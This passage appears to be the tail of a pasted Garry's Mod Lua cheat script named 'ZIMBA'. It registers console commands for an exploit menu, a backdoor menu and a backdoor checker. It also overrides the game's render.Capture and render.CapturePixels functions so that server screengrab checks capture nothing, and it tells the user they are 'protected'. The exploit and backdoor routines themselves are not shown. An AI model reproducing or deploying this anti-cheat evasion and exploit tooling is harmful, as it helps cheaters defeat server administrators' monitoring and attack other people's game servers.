  1491. concommand.Add("zimba_exploit_menu", OpenExploitMenu)
  1492. concommand.Add("zimba_misc_menu", OpenMiscMenu)
  1493. concommand.Add("zimba_backdoor_menu", OpenBackdoor)
  1494. concommand.Add("zimba_check_backdoors", checkbackdoors)
  1495.  
  1496.  
  1497. render.Capture = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" ) return end
  1498. render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
  1499. render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
Advertisement
Add Comment
Please, Sign In to add comment